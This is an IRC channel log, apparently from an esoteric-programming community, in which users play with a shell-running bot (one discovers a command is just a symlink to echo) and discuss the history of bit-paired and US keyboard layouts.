20:30:51 <moony_the_lycan> thats a echo clone :P
20:30:56 <moony_the_lycan> `cat bin/rot0
20:30:57 <HackEgo> ​ELF............>.....¤@.....@.......€b..........@.8..@.........@.......@.@.....@.@.....ø.......ø................. ...8......8@.....8@............................................@.......@.....”W......”W........ ............à]......à]`.....à]`.....°......`........ ...........ø]......ø]`.....ø]`.....à.......à.............. ..
20:30:59 <moony_the_lycan> oh
20:31:03 <moony_the_lycan> it literally IS echo
20:31:15 <oerjan> `` ls -l bin/rot0
20:31:16 <HackEgo> lrwxrwxrwx 1 5000 0 9 Oct 28 18:37 bin/rot0 -> /bin/echo
20:31:20 <oerjan> literally literally
20:31:41 <moony_the_lycan> oerjan, shall i remove it for being useless? (jk)
20:31:45 <moony_the_lycan> `pong
20:31:45 <HackEgo> pung
20:31:46 <oerjan> `rot0 -n
20:31:47 <HackEgo> No output.
20:31:52 <oerjan> BUG
20:31:56 <moony_the_lycan> `rot0 -n lol
20:31:56 <HackEgo> ​-n lol
20:32:08 <moony_the_lycan> `` rot0 -n lol
20:32:09 <HackEgo> lol
20:32:17 <shachaf> can you stop catting binary files in the channel twh
20:32:22 <moony_the_lycan> `echo -n
20:32:23 <HackEgo> No output.
20:32:29 <moony_the_lycan> shachaf, sorry
20:32:34 <moony_the_lycan> i didnt check if it was a binary
20:37:53 -!- keemyb has joined.
20:48:14 -!- wob_jonas has joined.
20:50:29 <wob_jonas> I have a stupid question about computers history.
20:52:27 <myname> i have a useless answer
20:53:30 <olsner> history is the past, why would you have a question about it?
20:54:26 -!- otterbot has quit (Read error: Connection reset by peer).
20:54:46 -!- otherbot has joined.
20:54:47 <myname> why would you ask meta questions?
20:55:35 <wob_jonas> You know how some older computers had keyboards where most of the ascii punctuation was bit-paired like god intended, namely the digit-punctuation pairs ;* :+ -= are on the same keys accessed with shift, and the lowercase-uppercase pairs `@ ~^ are on the same keys acessed with shift.
20:55:50 <olsner> myname: is that a rhetorical question? is this?
20:56:06 <zzo38> Yes, Famicom keyboard does that (although Famicom keyboard has no lowercase)
20:56:40 <wob_jonas> But on today's computers, the US english layout is very well spread, where 2@ 6^ 7& ;: += `~ etc are paired.
20:57:28 <myname> because typing for humans is more important than bitpaired keys?
20:57:31 <wob_jonas> My question is, did this current US English layout got so much spread it's now universal when the IBM PC got real popular (most of it has this layout in its ROM) and everyone started cloning it, or was it already universal before that?
21:00:59 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
21:01:05 <myname> ijd guess bitpairing only was done because it was cheap and easy
21:01:58 <wob_jonas> myname: well sure, but it's also the way keyboards should work. except for the space bar, because shift-space emitting space is very useful.
21:02:28 <myname> why "should" it work like this?
21:02:41 <wob_jonas> But even if you're not bitpairing, I'd like to understand how this particular layout spread so much.
21:02:51 <wob_jonas> There are a lots of other possible bit-pairing layouts.
21:03:05 <myname> are those qwerty?
21:03:07 <wob_jonas> Like, who the heck put the ampersand on the number 7 instead of 6?
21:03:18 <wob_jonas> No, I mean
21:03:22 <myname> why not?
21:03:26 <wob_jonas> There are a lot of other possible non-bit-pairing layouts.
21:03:33 <wob_jonas> Why is everyone copying this one?
21:05:57 * oerjan has ampersand on the number 6 key, anyway
21:06:48 <ais523> oerjan: what layout is that?
21:06:56 <oerjan> norwegian
21:07:03 <ais523> somehow I should have guessed that
21:07:21 <ais523> is it missing any keys that are on a US keyboard? or does it use a different arrangement, e.g. putting many of them on altgr?
21:07:32 <ais523> err, I should say missing any characters
21:07:37 <ais523> obviously it's missing a 7& key :-P
21:07:51 <wob_jonas> the UK keyboard also has a really strange arrangement. it uses the 102 key base, and has two extra characters, but also pairs "@ iirc
21:07:51 <oerjan> lots on altgr, e.g. {[]}
21:08:08 <wob_jonas> but at least it pairs ~^ properly I think
21:08:18 <wob_jonas> the Hungarian layout is of course completely messed up
21:08:32 <zzo38> I did make also the plan for a new computer design which also uses bitpairing keyboard
21:08:57 * oerjan has ~ and ^ on the same key, although the first uses altgr. also they're both dead keys.
21:09:16 <wob_jonas> zzo38: have I told you yet to look at John Savard's homepage at http://www.quadibloc.com/ ?
21:09:30 <zzo38> I look now
21:09:30 * oerjan has no idea what this bitpairing is about, anyway
21:10:35 <wob_jonas> zzo38: he's the kind of person who tries to designs entire instruction sets and keyboard layout and other computer stuff, but also collected a lot of historical information about computers
21:10:46 <ais523> oerjan: an "ideal" ASCII keyboard would implement shift as xor-32, ctrl as xor-64, alt as xor-128
21:10:51 <wob_jonas> and collected a lot of historical information about non-computer stuff too
21:11:19 <ais523> that matches up with a decent proportion of the keycaps on most keyboards, but there are several that violate the rule
21:11:21 <wob_jonas> ais523: well, I like how shift-space results in space
21:11:42 <ais523> yes, there are reasons to deviate from ASCII in practice
21:11:55 <ais523> also most keyboards have more than 35 keys, which is all they'd theoretically need with those constraints
21:13:11 <wob_jonas> also, if you did that, then you'd need to press control-shift to type digits
21:13:45 <ais523> yes
21:14:04 <ais523> wait, no
21:14:06 <oerjan> > chr $ 48 `xor` 32
21:14:09 <lambdabot> '\DLE'
21:14:09 <ais523> assuming you have lowercase letters
21:14:23 <oerjan> > chr $ 48 `xor` 32 `xor` 64
21:14:25 <lambdabot> 'P'
21:14:37 <pikhq> wob_jonas: The IBM PC's keyboard layout wasn't original to it. It was used by the Selectric typewriter, and that became standard for electric typewriters.
21:14:39 <wob_jonas> ais523: oh right, you have lowercase letters, so control types digits, and control-shift types control codes
21:14:41 <wob_jonas> makes sense
21:14:43 <ais523> ctrl-lowercase-p would be 0
21:14:51 <pikhq> So, by the time the IBM PC came around it was already an established de facto standard.
21:14:53 <ais523> ctrl-uppercase-p (i.e. ctrl-shift-p) would be ^P
21:14:54 <wob_jonas> pikhq: definitely not original, I just want to know what spread it
21:15:01 <wob_jonas> pikhq: thanks to the answer
21:15:15 <wob_jonas> ais523: yes, that makes more sense
21:16:21 <oerjan> > ord 'p'
21:16:24 <lambdabot> 112
21:16:39 <oerjan> ais523: i think you're missing something
21:16:46 <oerjan> oh wait
21:17:00 * oerjan read that as \NUL
21:19:50 -!- oerjan has quit (Quit: Good night).
21:20:03 -!- DHeadshot has quit (Ping timeout: 245 seconds).
21:38:16 -!- godel has joined.
21:48:43 -!- u0_a330 has changed nick to moony.
21:48:54 -!- moony has quit (Changing host).
21:48:54 -!- moony has joined.
21:49:18 -!- moony_the_lycan has quit (Disconnected by services).
21:49:20 -!- moony has changed nick to moony_the_lycan.
21:49:48 -!- moonythedwarf has joined.
21:50:12 -!- moonythedwarf has changed nick to Guest59092.
22:08:49 <lynn> 08:54 <imode> anybody know a good, reliable place for static site hosting.
22:09:00 <lynn> GitHub Pages?
22:09:39 <wob_jonas> lynn: say the data in this channel, link to the logs?
22:09:43 <shachaf> hi lynn
22:10:10 <lynn> hichaf
22:10:31 <shachaf> ⟅lynn⟆
22:17:58 <moony_the_lycan> moo2
22:22:21 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
22:28:27 -!- Phantom_Hoover has joined.
23:20:16 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
23:23:06 -!- powerOfTwo has joined.
23:23:45 -!- powerOfTwo has quit (Client Quit).
23:24:09 -!- powerOfTwo has joined.
23:24:13 -!- powerOfTwo has quit (Read error: Connection reset by peer).
23:24:30 -!- powerOfTwo has joined.
23:24:31 -!- powerOfTwo has quit (Read error: Connection reset by peer).
23:30:55 -!- DHeadshot has joined.
←2016-10-27 2016-10-28 2016-10-29→ ↑2016 ↑all